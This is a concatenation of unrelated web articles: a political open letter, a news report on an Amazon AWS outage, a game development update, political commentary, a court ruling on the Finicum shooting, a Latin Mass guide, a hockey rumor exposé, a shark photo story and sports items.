You could insist on this as a condition for your participation. If you do, the Commission could hardly refuse; your participation is indispensible. Nobody, this side of Goldman Sachs would tune in just to see and hear Hillary.
Demand that they go back to League of Women Voters’ rules, according to which anyone with a theoretical chance of winning – anyone whose name appears on enough state ballots to gain the required number of Electoral College votes and in whom there is evidence of significant voter interest – gets to debate the Democrat and the Republican.
You have nothing to lose: a theoretical chance of winning is all you’ve got yourself.
And with “Jill, Not Hill” signs popping up all over, you have something to gain. You cannot keep victory away from Hillary, but you can help assure that she doesn’t pile on the votes. This would lessen the humiliation headed your way.
With the duopoly parties in such sorry states, 2016 could be a breakout year for both the Greens and the Libertarians. The better they do, the weaker the duopoly’s stranglehold will be, and the more (small-d) democratic our politics will become.
With the GOP dead or dying, and with a Democratic Party that only a Clintonite could love, the duopoly is bound to expire sooner or later. It will happen sooner, if Stein and Johnson are in the debates; and the world will be better off for it.
Dumping on Hillary is fine; she deserves it. Thanks to the consequences of her bellicosity, it will soon become a national pastime; and there is no harm in landing some punches early on.
But, if you are the one leading the charge, little good will come of it. After all, you are part of the same corruption. You have said as much countless times. You have boasted about it.
In the primaries and caucuses, visceral Hillary-bashing worked well for you. But it won’t pass muster for the sixty percent or more of the electorate that is not going to vote for you come what may.
What will move them to get off the Hillary bandwagon are arguments, sound ones. Stein has plenty of cogent and compelling arguments up her sleeve. Johnson, a principled libertarian and opponent of Clinton-style imperialism is worth listening to as well.
Let the two of them be heard and the debates will all of a sudden become worth watching – not just for their entertainment value, but also for the insights they provide. No one can say that about your bluster or Hillary’s twaddle.
Therefore tell those damn Democrats and Republicans that if they won’t open up their debates, you will shut them down. You can do that. Yes, you can.
You can change the landscape of American politics
Hillary and her people will object, fearing, justifiably, that Stein and Johnson will show her up. She will seem petulant and base; you will occupy the moral and intellectual high ground.
Try it out for once; you may find that it’s not a bad place to be. Taking the high ground could help rehabilitate your reputation too, and the reputation of your brand.
Too bad for you, though, that, in the near future, nothing can wipe away the stain left by your demagoguery.
However, if you do the right thing, for no matter what reason, you will have helped tear the duopoly asunder — securing for yourself a place in history the likes of which Hillary and Bill and Bernie can only dream.
The retail turned cloud giant is suffering with issues on the U.S. East Coast, specifically in Amazon's North Virginia data center, after the firm's cloud began to fall from the sky.
The firm's EC2 operations appear to be the main source of the outage, according to Amazon's status page. Dubbed "performance issues," Amazon has yet to call the "outage" card. But since this article was written, the troubles appear to have spread to other parts of the data center.
At first the Elastic Compute Cloud crumbled and the Relational Database System soon after, but then spread through the data center to hit ElastiCache services.
At 4:00 p.m. PT, when this article was last updated, only Amazon ElastiCache was back up and running. Amazon CloudWatch was also operating normally, but customers may experience "intermittent metrics delays" from RDS services.
Amazon Relational Database Service (RDS) was at the last update still struggling, but was "recovered [in the] the majority of... instances." Amazon Elastic Compute Cloud (EC2) had recovered "half of the volumes" experiencing issues, but was "continuing to work" on the rest of the volumes.
Dozens of major websites that rely on Amazon's Web Services have fallen off the face of the public Web as a result of the outage, including the usual suspects, such as pseudo-social network Pinterest along with check-in giant Foursquare and online travel service Airbnb.
News sharing site Reddit fell down for hours, though others like code-sharing site Github was back online shortly after a brief hiccup. Many other significant startups remain offline. Highly addictive block-building game Minecraft also crumbled thanks to the Amazon data center outage, while users of Heroku, which was acquired by Salesforce in December for $212 million, became inaccessible during the downtime.
Technology and business magazine FastCompany noticed a traffic drop to zero during the first stages of the outage, according to chief technology officer Matt Mankins who tweeted this picture:
So far, Amazon has not said anything publicly about what has happened. It's probably too early to tell. Regurgiating what's on the status update page (which you can also see here), here's what we know:
Amazon Elastic Cloud Computer (EC2):
10:38 AM PDT: We are currently investigating degraded performance for a small number of EBS volumes in a single Availability Zone in the US-EAST-1 Region. 11:11 AM PDT: We can confirm degraded performance for a small number of EBS volumes in a single Availability Zone in the US-EAST-1 Region. Instances using affected EBS volumes will also experience degraded performance. 11:26 AM PDT: We are currently experiencing degraded performance for EBS volumes in a single Availability Zone in the US-EAST-1 Region. New launches for EBS backed instances are failing and instances using affected EBS volumes will experience degraded performance. 12:32 PM PDT: We are working on recovering the impacted EBS volumes in a single Availability Zone in the US-EAST-1 Region. 1:02 PM PDT: We continue to work to resolve the issue affecting EBS volumes in a single availability zone in the US-EAST-1 region. The AWS Management Console for EC2 indicates which availability zone is impaired. 2:20 PM PDT: We've now restored performance for about half of the volumes that experienced issues. Instances that were attached to these recovered volumes are recovering. We're continuing to work on restoring availability and performance for the volumes that are still degraded. 3:25 PM PDT: Were continuing to work on restoring performance for the volumes that are still degraded.
Amazon Relational Database Service (RDS):
11:03 AM PDT: We are currently experiencing connectivity issues and degraded performance for a small number of RDS DB Instances in a single Availability Zone in the US-EAST-1 Region. 11:45 AM PDT: A number of Amazon RDS DB Instances in a single Availability Zone in the US-EAST-1 Region are experiencing connectivity issues or degraded performance. New instance create requests in the affected Availability Zone are experiencing elevated latencies. We are investigating the root cause. 12:53 PM PDT: We have recovered a number of affected RDS instances and are working on recovering the remaining impacted RDS DB instances a single Availability Zone in the US-EAST-1 Region. New instance creation requests in the affected Availability Zone continue to experience elevated latencies. 2:48 PM PDT: We continue to work to resolve the issue affecting RDS instances in a single availability zone in the US-EAST-1 region. We have recovered the majority of the RDS DB instances in the affected AZ and are working to recover the remaining affected DB instances. RDS DB instances in other availability zones in the region are operating normally.
Amazon ElastiCache:
11:39 AM PDT: We are currently experiencing connectivity issues for ElastiCache Cache Nodes in a single Availability Zone in the US-EAST-1 Region. 1:08 PM PDT: We have recovered a number of affected cache nodes and are working on recovering the remaining impacted cache nodes in a single Availability Zone in the US-EAST-1 Region. 2:01 PM PDT: We are continuing to work on recovering connectivity to remaining small number of impacted cache nodes in a single Availability Zone in the us-east-1 Region. 3:32 PM PDT: We are continuing to work on resolving intermittent network connectivity issues to a small number of cache nodes in the impacted availability zone in US-East-1 region. 3:46 PM PDT: We have restored connectivity to cache nodes in the impacted availability zone. The service is operating normally.
Amazon Web Services Elastic Beanstalk:
11:06 AM PDT: We are currently experiencing elevated API failures and delays launching, updating and deleting Elastic Beanstalk environments in the US-East-1 Region. 11:45 AM PDT: We are continuing to see delays launching, updating and deleting Elastic Beanstalk environments in the US-East-1 Region. 2:05 PM PDT: We are continuing to see delays launching, updating and deleting Elastic Beanstalk environments in the US-East-1 Region. At 4:00 p.m. PT, when this article was updated, there was no change in this status. Any changes can be seen at Amazon's status pages.
Amazon is reported increased CloudSearch error rates in search and documents, as well as CloudWatch delays to metrics for Amazon's Relational Database Service (RDS), Elastic Load Balancing (ELB), and ElastiCache in the North Virginia data center. However, Amazon reported an "operating normally" status at 2:08 p.m. PT.
At 3:45 p.m. PT, Amazon also reported that customers who were experiencing elevated error rates with the EC2 Management Console are now "operating normally".
At this point it remains unclear as to what caused the problems seen today. It's unlikely to be the weather, mind you, as it's a mildly warm day with sunny spells in Northern Virginia where the data center is located.
The last two major outages were in quick succession during the early summer.
In June, a major outage hit numerous high profile websites, including Quora, Foursquare, and even Dropbox for a time. Amazon's post-mortem of the outage led engineers to believe the power supply was to fault. In a nutshell, the firm's generators "overheated and powered off" because a cooling fan failed to kick into action.
A series of other unfortunate mishaps led to the cloud-collapse, leaving many without access to their favorite websites or enterprise Web applications for hours.
In July, however, bad weather and thunderstorms initially caused the outage at the troubled North Virginia data center -- which continues to be the root cause of the series of unforeseen outages -- but a series of unseen bugs in the firm's technology led to a prolonged period of downtime. One of the affected data centers failed to switch over the power to backup generators, and the uninterruptible power supply (UPS) ran out of juice.
Hi everyone,
Time has come for us to share what we’ve been working on since the last status update.
Firstly, boarding locations seem to be complete. While we were working on the scenes with the battleship, we had some ideas on how we could improve the whole boarding process, but in the end decided to hold off implementing until later development stages. Battleships were the most powerful means of destruction in XVII century, really huge ships. Adding them into the game took us some time. Anyway, we really hope you’ll like this ship.
Next, the old global map is no more, and the new one is in the works. It’s a bit hard to read at the moment, but the world should get prettier soon. If you remember, initially we wanted to include not only local tribes, but Brazilian colonies, Maia’s and Apache Indians’ towns, even cities of New England as well. This idea proved to be too ambitious, so instead we decided to focus entirely on the Caribbean region, territories of Arizona, Texas, New Mexico and other states have been taken out from the game.
The new troops hiring system is now finished. Our main goal was to distance it from the system familiar to you by M&B games. Now the troops aren’t hired with a series of questions and answers (“How many Spanish musketeers would you like?” – “I would like 5 Spanish musketeers”), it’s now done with the system of icons and sliders. It’s working very similar to the current trading screen.
Finally, we began working on the new quest system. Quests have been untied from the dialogues and lords. To be honest, dialogues in M&B sometimes seemed quite routine to us — especially when a lord that assigned a quest, decided to go to war, then lose it and be jailed for a couple of weeks. Now quests are assigned by cities and factions in a single quest panel.
Plans for the following month:
– Making more quests (possibly some special ones with smuggling involved);
– New rank system to replace the current one;
– Adding trading renown – as we mentioned, we’d like to make trading and business a full-fledged activity for roleplaying;
– Finishing the global map and the new version of the city screen, which we’ll show you in a separate post once we have some pretty screenshots on hand.
On to new business. Candidates have to say things that just make basic sense, pass a basic bullshit test. On this scale, Obama passed the other day, and Romney flunked.
Obama has been criticized for saying that Egypt is neither ally nor enemy, but he's right, and he was right to say it publicly. So what if TV correspondents are confused? Morsi and the new Egyptian regime needed this shot across the bow: You get in line and protect our people at the very least, pal, or you risk losing billons of dollars.
David Frum agrees:
...from my distance, it looks like the Muslim Brotherhood's President Morsi cares much more about using this incident to consolidate his party's power over Egypt than he does about preserving the US relationship, assuming he cares about that relationship at all.
But a message is being sent from the White House: Muslim Brotherhood policies will not be cost-free for Egypt. The Brotherhood may not care, may even welcome those costs. At least they are being presented with the bill.
That's exactly right. Moreover, I think if you asked most Americans whether the new Egypt was our ally--after you waded through the "what's the new Egypt?" and "what's Egypt?" responses and got to the people with at least a vague grasp of what's happened there--most would say they really didn't know if the new Egypt was our ally. Common sense test passed. Obama expressed what I strongly think is the general view of the American people.
Now we turn to Mitt Romney and foreign policy aide Richard Williamson saying that if Romney had been president, these embassy attacks wouldn't be happening. Right. He'd have stopped that movie. He'd have shown them the iron hand of fear. They'd be singing My Country Tis of Three. And the rain would never fall til after sundown, and by eight the morning fog would disappear (prize to the first to name the reference).
It just doesn't pass the bullshit test. McCain and his aides could have gotten away with saying something like that. But Mitt Romney? Please. The flies of New Hampshire chuckle when they see him approaching with a flyswatter.
MSNBC framed the conversations around Trump criticizing Hillary Clinton for putting classified information at risk with her private email server. The intention was clearly to make Trump look hypocritical because this week it was reported that he incidentally gave classified information to Russians.
However, MSNBC clearly didn’t realize that Palmieri and Mook couldn’t talk about the potential security breach without sounding hypocritical themselves.
“Well [Trump] is right, we can’t afford to have someone in the Oval Office that doesn’t understand the value and sensitivity of classified information,” Palmieri told Andrea Mitchell.
“Look, there’s no news in this…guess what, Donald Trump contradicted himself,” Mook said to Stephanie Ruhle. “We can spend all day trying to figure out what did the spokesperson say versus what Donald Trump said–I think the spotlight right now needs to be on the Congress.”
“They’re the one set of people who can step in and do something about this,” Mook said.
WATCH:
Trump wrote in a pair of tweets on Thursday evening that he “worked hard” with Ford Motor Co. Executive Chairman Bill Ford Jr. to keep its Lincoln plant in Kentucky instead of moving it to Mexico. Trump said Thursday that the executive called to tell him “he will be keeping the Lincoln plant in Kentucky—no Mexico.”
“I owed it to the great State of Kentucky for their confidence in me!” Trump added.
However, U.S. jobs were never at stake, according to reports. Ford currently produces the Lincoln MKC and the Ford Escape at its Louisville Assembly Plant, the Washington Post reports. The company had considered moving production of the Lincoln MKC from Kentucky to Mexico in order to build more Ford Escapes at the Kentucky plant, but Ford had previously said the change wouldn’t lead to any lost jobs in Kentucky.
Now, though, the company is keeping Lincoln MKC production in Kentucky and will not produce additional Ford Escapes there. It was not immediately clear when Ford made the decision.
Ford issued a statement after Trump’s announcement, saying the company “confirmed” with Trump that “our small Lincoln utility vehicle made at the Louisville Assembly Plant will stay in Kentucky,” according to the Post.
“We are encouraged that President-elect Trump and the new Congress will pursue policies that will improve U.S. competitiveness and make it possible to keep production of this vehicle here in the United States,” the statement said.
Prosecutors last month revealed that the federal investigation into an FBI agent's apparent firing of gunshots at Finicum on Jan. 26 and the alleged FBI tampering with evidence at the scene had gone to a grand jury for review. They objected to any sharing of the evidence with defense lawyers.
Defense lawyers urged the judge to compel the government to turn over the investigative records regarding the FBI's alleged misconduct. They argued that prosecutors must share any evidence that could benefit the defense, including any material that could damage the credibility of a prosecution witness. Federal prosecutors countered that they won't call law enforcement officers involved in the investigation as witnesses in the case.
"The Court emphasizes this criminal case concerns only Defendants' alleged conduct in relation to the events at the MNWR (Malheur National Wildlife Refuge) as set out in the Superseding Indictment,'' U.S. District Judge Anna J. Brown wrote in her order. "The very important questions whether the shooting of Lavoy Finicum was justified or whether FBI HRT officers engaged in misconduct at the time of that shooting are beyond the scope of this criminal case.''
The circumstances surrounding the FBI's firing of shots play no part in helping the defense explain why they came to the refuge armed with guns, since the shooting occurred more than three weeks after Ammon Bundy and supporters first arrived at the refuge, the judge said.
"The conduct of the two HRT officers at the time of the Finicum shooting cannot explain or corroborate defendants' putative intent to defend themselves with firearms at the MNWR because all of the alleged acts giving rise to the charges in this matter took place before the HRT officers' conduct occurred and was disclosed,'' Brown wrote. "Defendants, therefore, formed their relevant states of mind before they knew of the actions that make up the basis of the investigations.''
Ammon Bundy and other key figures were arrested as they were driving from the refuge to a community meeting in John Day on Jan. 26. Finicum, the occupation spokesman, evaded the police stop on U.S. 395 and swerved his truck into a snowbank to avoid an FBI and state police roadblock.
As he emerged from the truck, two shots were fired by an FBI agent with the Hostage Rescue Team, though none of the team members admitted to discharging their firearms, the Deschutes County sheriff alleges.
Oregon investigators concluded that one agent fired twice at the truck, hitting the roof and missing on the second shot. A state trooper later described to investigators seeing two rifle casings in the area where the agents were posted. Detectives investigating didn't find the casings, police reports indicated.
"Because the HRT officers did not disclose those shots after the incident and took affirmative steps to conceal the shots, the Deschutes County Sheriff also announced on March 8, 2016, that the actions of those officers were the subject of an ongoing investigation'' both by the Deschutes County Sheriff's Office and the federal Office of the Inspector General, the judge wrote.
LaVoy Finicum 19 Gallery: LaVoy Finicum
Ammon Bundy is one 26 defendants indicted on a charge of conspiring to impede federal workers at the wildlife refuge through intimidation, threats or force. A trial is set for Sept. 7. Seven defendants have entered guilty pleas in the conspiracy case, and an eighth defendant, Ryan Payne, another from Bundy's inner circle, is set to do so on Tuesday.
The judge also found that the investigative details of the FBI's actions were not relevant for co-defendant David Fry and three other refuge holdouts who were the last to surrender on Feb. 11, since they didn't learn of the alleged FBI coverup until after their arrests.
In related action, the judge denied defendants' motion for a change of venue. While acknowledging that the media coverage during the refuge occupation and since has been extensive, she found no showing that it's been prejudicial, Brown said.
"Whether the Court is capable of seating an impartial jury will be determined during a voir dire process in which the parties and the Court will be acutely attuned to the possibility of actual prejudice resulting from the media coverage of this case,'' Brown wrote.
-- Maxine Bernstein
mbernstein@oregonian.com
The truth is, the Extraordinary Form can be intimidating the first time you visit, because it is so, well, different than the form of the Mass most Catholics are used to. It has an ethos all its own, and its rhythms and patterns can take time to absorb.
But, while there is a learning curve, the Latin Mass is by no means impossible to learn. Only a few decades ago, your typical Catholic grade schooler had a solid understanding of what was happening at the altar, even if he couldn’t understand every word the priest was saying. While it might take some time, I would argue that it is worth the effort as it will enrich your spiritual life and form you, just as it did for countless saints.
Here, then, are ten tips for newcomers to the Latin Mass.
1. Embrace the Mystery
The first point I’d like to emphasize is that there’s nothing wrong with a little mystery. In our post-Enlightenment, science-obsessed society, we place a premium on understanding everything. We don’t like feeling ignorant or left in the dark. We moderns mistakenly believe that knowing how something works is that same as knowing what it means. I believe this is one reason poetry has grown less popular–by nature, it is metaphorically dense, and the modern mind, which likes to deal in linear, empirical data, is often frustrated by this.
Yet, the human soul needs mystery to thrive. Deep down, sometimes very deep down, we crave an experience that is disorienting in its wonder, something so marvelous we forget ourselves in the face of it. We want something that is at once knowable and unknowable, within our grasp and beyond our reach.
Good and true liturgy is like that. It draws us upward and out of ourselves. It is disorienting and uncomfortable in a healthy and joyful way. Holiness, if it is real, should feel disorienting. So give yourself permission to not know and understand everything that is going on in the Mass. Some priestly gestures and prayers are meant to be beyond your reach, and you aren’t meant to grasp their every meaning. That is just how it is. Embrace it. Let the mystery wash over you and transform you.
2. Get a Missal
Alright, even with that very important point being made, you probably still want to know at least some of what’s going on! Fair enough, and to help in that regard, I recommend getting a missal to help.
Missals are helpful because they provide at minimum the Ordinary of the Mass (the parts that don’t change) and the Propers (the changeable readings and prayers) for Sundays, and many also include readings for daily Masses and special feasts. Every one I’ve seen also includes helpful catechesis on the Mass, instructions on how to pray along, and prayers and devotions for before and after Mass. They are usually treasure troves of Catholic devotion and incredibly helpful in understanding the Mass in a deeper way.
You can find used Latin Mass missals in many places: Antique shops, Etsy, Ebay, Amazon, grandma’s bookshelf, etc. I like used ones personally because there is a sense of history to them. It’s cool finding old holy cards tucked inside them or seeing a name of a Catholic forebear written inside the cover, and many of them have gorgeous illustrations and ornate pages.
If you aren’t into vintage stuff, though, don’t worry. There are many beautiful modern missals being made, including the Edmund Campion Missal and Hymnal, the Roman Catholic Daily Missal, and the Baronius Press Missal. I personally recommend the Edmund Campion Missal. While its dimensions are larger than most, it has some of the most beautifully illuminated pages, photography, and illustrations of any missal I’ve found. It is a work of art.
3. Go to a Low Mass First
If you’re new to the Latin Mass, I highly recommend starting with a Low Mass. If you aren’t familiar with the distinction between a High and Low Mass, low Masses usually have minimal or no music and are not sung. They are much simpler in their form and do not include things like incense, the sprinkling rite (the Asperges), or a choir.
I recommend the low Mass because less is happening. In a high Mass, the priest is often praying one thing while the choir is singing another, meaning it can be hard to follow along. The simplicity of the low Mass is conducive to learning what’s happening when.
While it’s true that High Masses are much more beautiful and rich for the senses, the Low Mass is beautiful in its own way, with the silence drawing one’s heart to prayer. It is an oasis of quiet in a world that is filled with noise.
4. Learn the Parts
When I first went to a Latin Mass, I was confused. It seemed much more complex than the Novus Ordo, with many new prayers and actions to learn. But while it is true there are extra prayers and actions, the basic structure is always the same, and similar to that of the Novus Ordo: The Mass of the Catechumens (the beginning of Mass to the Creed) and the Mass of the Faithful (from the Offertory to the end of Mass). Learning the visual cues of the priest and a few words of the prayers is immensely helpful in following along.
5. Watch Videos
While it is highly unlikely that anyone is paying attention, we can sometimes feel self-conscious in a new environment. Am I doing the right thing? Did I miss something? If you are nervous about looking silly, I recommend watching videos of the Mass on YouTube to learn the parts. There are many awesomely beautiful videos out there, many of them narrated so you know what’s happening. For example, here’s an Easter Sunday Mass from 1941 narrated by Archbishop Fulton Sheen.
Another cool video is this reenactment of a Medieval Mass from the 15th century. Of course, it looks laregly identical to a Tridentine Mass you would attend now, showing the continuty of tradition. A medival peasant could attend my parish and feel at home, and vice versa. Cool, huh?
6. Learn Some Latin
Believe it or not, while it is no longer part of the piety of most Catholics, Latin is still the official language of the Church. Normatively, Church documents are issued in Latin and then translated into other languages. That includes the vernacular Mass.
When approaching the Latin Mass, it is really helpful to learn a few words or prayers in Latin. You don’t have to become an expert in the language, but historically, Catholics were familiar with at least a few basic Latin prayers, like the Our Father (Pater Noster) or the Hail Mary (Ave Maria). It couldn’t hurt to learn some key words. Knowing that “Dominus vobiscum” means “the Lord be with you,” can be helpful, or that “Sursum corda” means “Lift up your hearts,” means that the canon is coming soon.
7. Adjust Your Thinking
The traditional Mass can be disorienting. Yet, I would argue that this disorientation is a healthy thing. It helps draw us up and out of ourselves. And in a sense, holiness should be disorienting, for it means cut off from the ordinary, something Other. When Peter, James, and John were on Mount Tabor with Jesus, they didn’t feel comfortable, welcomed, and at ease. They were confused and afraid in the presence of Jesus’ Divinity. Likewise with Moses and all other men who encountered God’s presence.
Old churches would sometime have this inscription above the door: “Terribilis est locus iste: hic domus Dei est, et porta caeli:” Translated, it means, “This place is terrible, it is the house of God, and the gate of heaven.” In other words, the house of God should be awe inspiring. It should feel out of the ordinary, a place set apart for the worship of the Almighty.
Yet, our worship is too often not awesome, it is banal and commonplace. And so one of the easiest traps to fall into is thinking that the Mass is for and about us. We begin to think that we are the audience and judge the Mass accordingly. What did I get out of it? Could I see and understand? Was the music to my taste? Really, though, the Mass isn’t for you. It’s for God—he is the audience. All of the prayers and actions are oriented toward offering a sacrifice of praise to him. We have the privilege of participating in this great worship, and we assist the priest in his offering. But the Mass is not for us and our entertainment. Keep that in mind and I believe you will find Mass much more profitable.
8. Get a Good Instructional Book
Missals can be helpful in understanding the Mass, but sometimes you need even more instruction. Not to worry—many beautiful books have been written about the significance of the Mass, complete with pictures, charts, and explanatory texts. If you can find a vintage copy of Archbishop Sheen’s “This is the Mass”, I recommend you do so.
But the one book I recommend more than any other is the gorgeous book “Treasure and Tradition: The ultimate guide to the Latin Mass.” This book is stunning. If you read it, you will appreciate the Mass more. It has many beautiful incredible illustrations, historical notes, explanations of vestments, sacred objects, and much, much more. Even if you never attend a Latin Mass, get this book. It will change the way you see the Mass and enrich your worship. Here is a review.
9. Be Patient
It is tempting to want to understand the ancient Mass immediately. Yet, this isn’t really possible. It will take time and a little bit of effort, so give it a chance and be patient.
I would recommend going to at least four to six Masses. For the first few, just take everything in. Don’t bother trying to follow along or figure out what’s happening. Just pray quietly, watch what’s happening at the altar, and imitate what you see others doing. Then, after you’ve oriented yourself, get a Missal and begin try to listen for key words and gestures (many missals have pictures of what the priest does at different parts). The longer you attend, the more you will adjust to its unique ethos.
10. Pray with the Priest
The most profitable way to pray at Mass is to pray the Mass. Now, that doesn’t mean that you have to pray each and every prayer at the exact moment that the priest does (though this couldn’t hurt!). But it does mean that you recognize that the Mass is a sacrifice of petition, adoration, reparation, and thanksgiving, and pray accordingly.
I have an old prayer book that doesn’t contain any of the actual Mass prayers. Yet, for each part of the Mass (from the beginning to the Gospel, etc.) has prayers specifically for one of the four ends of Mass. Praying the Mass in this way is perfectly legitimate. Some Sundays, I bring my Missal and follow along with what the priest is praying. Other Sundays, I pray the four intentions of Mass either in my own words or using the prayer book I mentioned. And still other Sundays, I do both. There is a beautiful freedom to pray in your own way at the Latin Mass, to spend time in God’s presence and speak to him from your heart.
Conclusion
This post has been rather long, but I hope it has given you a better understanding of how to approach the ancient Mass. As I said at the beginning, it will take some effort to learn, and yet I sincerely believe nothing is more profitable or enriching to your faith. This is the Mass of the saints and martyrs, the Mass that can be traced all the way back to the catacombs of ancient Rome. When you hear the words of the priest and pray them yourself, you are hearing the exact same words that centuries of Catholics before you have heard and prayed.
Immersing yourself in the traditional Mass is not about nostalgia or pining for the past. It is about being transformed by the beauty of holiness. Far from being dead and archaic, you will find that this ancient way of praying is very much alive and powerful, a way of encountering God that is vital in its freshness.
So go to a Tridentine Mass if there is one near you. Experience it, pray it, and let its timeless rhythms transform your heart and soul.
PS: Check out my video chat with Matt Fradd about the Extraordinary Form, and why men are drawn to it.
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It's not hard to see how he does it. It's pure cold reading, like your favorite psychic fraud. Some rumors are more plausible than others—you know who has the cap space to sign a free agent, or who has a gaping hole to be filled at the trade deadline. Report those as fact, and some of them are bound to come true. People will forget the missed predictions, no matter how many of them, and remember the correct ones. (Recall that an analysis of Eklund's predictions showed he would have had a better hit rate if he had just picked a team's name out of a hat.)
Hockeyy Insiderr's been smacked down before. He's been taken to the woodshed for repeatedly reporting Zach Parise was heading to Pittsburgh. He's been caught walking back his own previously reported news, once "new information" emerges. A bored Devils fans pretending to be a team employee told Hockeyy Insiderr about a Bobby Ryan deal in the works, and without asking for any verification, Hockeyy Insiderr passed it along.
You'd think any of that would be enough to discredit Hockeyy Insiderr, who claims to have worked for four NHL teams. Well, how about this. What if you found out he was a high schooler from Quebec?
Jonathan Kyriacou did some internet sleuthing, poking through Hockeyy Insiderr's Facebook account's friends, and narrowing them down by clues Hockeyy Insiderr himself has left. What's left is Alex D., a 17-year-old "self-employed freelance writer" who attends secondary school in Beloeil, Quebec, has played minor hockey and has probably not worked for four NHL teams.
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Commenters on Kyriacou's blog are filling in the pieces, including the kid's full name, social media accounts, and other details. All of which is beside the point. The point is that there are no reporters breaking news anonymously, because reporters (rightly) want credit for the hard work they do. So let's lay down some ground rules. If your favorite rumor account isn't willing to put their name behind their words, if they spend more time fighting on Twitter than backing up their reporting, and most importantly if they're wrong 50 times for every time they're right—they're probably a little shit teenager who doesn't deserve anyone's attention.
UPDATE: It's been pointed out that a large proportion of Hockeyy Insiderr's Twitter followers are fake accounts, and his number of followers increased by 25,000 in July alone.
Photographer David Jenkins, from Dublin, witnessed the remarkable chase off the coast of Cape Town, South Africa
He was on a tour boat when he saw the seal perform its circus trick on top of the fearsome animal
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This is the jaw-some moment a lucky seal manages to overturn the odds and escape from a Great White - after balancing on its nose.
Photographer David 'Baz' Jenkins, 41, spotted the near-death battle while on board a Great White shark tour boat off the coast of Cape Town, South Africa.
As these amazing photographs show one seal escaped the jaws of death after balancing on the massive sharks nose just inches from rows and rows of razor sharp teeth.
Jaws-dropping moment: The seal leans on the tip of the nose of a great white shark, off the coast of South Africa The chase is on: The seal narrowly evades being crushed by the jaws of the shark Making waves: The seal desperately jumps away from the fearsome predator as the tour group look on Heavy-going: Great White sharks can tip the scales at 5,000Ibs Return journey: Photographer David Jenkins said the seals were making their way back to Seal Island after feeding when the Great White pounced Size matters: Great White sharks can reach 20ft in length Brush with death: The seal must use all its skill if it wants to live
Make it snappy: The fearsome shark leaps out of the water in a bid to snare its prey David, 41, from Dublin, Ireland, said ‘The seals were making their way back to Seal Island after feeding out at sea and the sharks travel below them. RELATED ARTICLES Previous
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‘The sharks are really well camouflaged due to their dark backs and when the seal looks down it is hard to make out the shark in the dark below.
‘When the shark picks its time to attack, it can accelerate at around 25mph upwards which can send both the shark and the seal flying up out of the water.
Looking sharp: The shark bears its huge teeth as it chases the petrified seal Fin-tastically fast: Great White sharks can reach speeds of 25mph as they breach the surface while hunting Gape Town: The Great White opens wide - but the seal is still outwitting it Hunger games: The shark comes within a whisker of its lunch yet again Seal the deal? Not quite, with the shark failing yet again to secure a meal Sea-ing is believing: The seal seems destined to be swallowing whole Great escape: But then the seal leans on the tip of the nose of the shark before making its bid for freedom
‘I have seen a shark lose a tooth on a decoy breach before but never when attacking and killing a real seal.
‘The breaching sharks are amazing, the speed and agility just takes your breath away as they can explode from below without warning.
‘This seal was one lucky pup.’
The Hockey Night in Canada commentator took to Twitter on Wednesday with a message to players: show some unity and stop using Twitter.
"I miss hockey and I miss doing Coach's Corner. I have some advice for the players. Quit tweeting and talking to the media about how bad Bettman and the owners are," Cherry said on his verified account.
"I know it's hard to control 700 guys but you don't hear the owners speaking out. Jimmy D was slapped a fine.. if he calls the players "cattle" I shudder to think what the hardliners like Jacobs and Snyder think.
"Quit ticking them off, why make them more determined."
New deal makes Mike Daniels among highest paid at his position (2:43)
GREEN BAY, Wis. -- The only guaranteed money in the four-year contract extension Mike Daniels signed Monday with the Green Bay Packers was the $12 million signing bonus, according to NFL Players Association salary data obtained by ESPN.
The signing bonus can be prorated over five years because it’s an extension of his existing contract, which means it adds only $2.4 million to this year’s salary-cap figure. The Packers still have $7,295,019 in available salary-cap space for this season, which can be carried over to next year’s cap if general manager Ted Thompson doesn't strike any more deals this season.
However, in both 2016 and 2017 there are significant roster bonuses due on the third day of the league year. The 2016 roster bonus of $3.3 million might as well be guaranteed money because the Packers aren’t going to cut Daniels between now and then.
The total value of the contract is actually $41 million (not $42 million as was widely reported at the time of the signing). However, if all the escalators are reached it would be worth $42.5 million. Those escalators aren't counted in the average per year, so it the actual average is $10.25 million.
Here’s a year-by-year breakdown of the contract:
Base salary (unchanged from original rookie contract): $1.542 million
Signing bonus: $12 million
Salary-cap charge: $4,022,996
Base salary: $800,000
Roster bonus: Up to $3.8 million ($3,300,000 due on third day of the league year, $31,250 per game active)
Workout bonus: $400,000
Escalator: $125,000 for the Pro Bowl
Salary-cap charge: $7.4 million
Base salary: $2.1 million
Roster bonus: Up to $5.5 million ($5 million due on third day of the league year, $31,250 per game active)
Workout bonus: $400,000
Escalator: $125,000 for the Pro Bowl
Salary-cap charge: $10.4 million
Base salary: $6,600,000
Roster bonus: Up to $500,000 ($31,250 per game active)
Workout bonus: $400,000
Escalator: $125,000 for the Pro Bowl plus an additional $500,000 with playing time or sacks plus playoffs
Salary-cap charge: $9.9 million
The comic actor-writer's character is a man of the right, and the comic-actor loves playing him.
The audience has been obliging him for the last 3 1/2 years, when Jon Stewart crowned the "Daily Show" correspondent with his own realm. While Colbert, a South Carolina native who trained in improvisation at Chicago's famed Second City, earned three Emmys as a "Daily Show" writer, he has since proved himself a competitor. Last year, his show won a writing Emmy, and for the last three years, it has been pitted against "The Daily Show" for variety, music or comedy series. "Jon said, 'Don't think you need to thank me if you win because you don't need to perceive me as the reason you're doing this,' but it's the truth," says Colbert, who speaks with Stewart weekly. "He's very generous."
The irony couldn't please him more. "I'm thrilled by it!" he says, sitting in his New York office, a pack rat's homage to the show crammed with pictures and props and a "Lord of the Rings" pinball machine. "From the very beginning, I wanted to jump back and forth over the line of meaning what I say, and the truth of the matter is I'm not on anyone's side, I'm on my side," he says. "The important thing is that the audience laughs."
To use a word coined by Stephen Colbert, the writer and actor, there's a certain "truthiness" about Stephen Colbert, the character and host of Comedy Central's "The Colbert Report." Indeed, Colbert the character, a right-wing blowhard on a one-man mission to reeducate the ignorant, is convincing enough that a recent Ohio State University study found that a majority of conservatives polled believed Colbert the man was one of them.
Colbert works hard not to disappoint. He and his staff of 90 put in a minimum of 12-hour days. "It's a new show, and I'm a control freak," admits Colbert, who keeps a piece of paper taped to his desk that reads "work." But, he continues, "What we're doing is difficult. We deconstruct the news into a joke, and then we falsely reconstruct the news into how my character would see it. The writers and I talk about how it's like driving an 18-wheeler backward down a highway. It's possible, but you have to constantly readjust the steering."
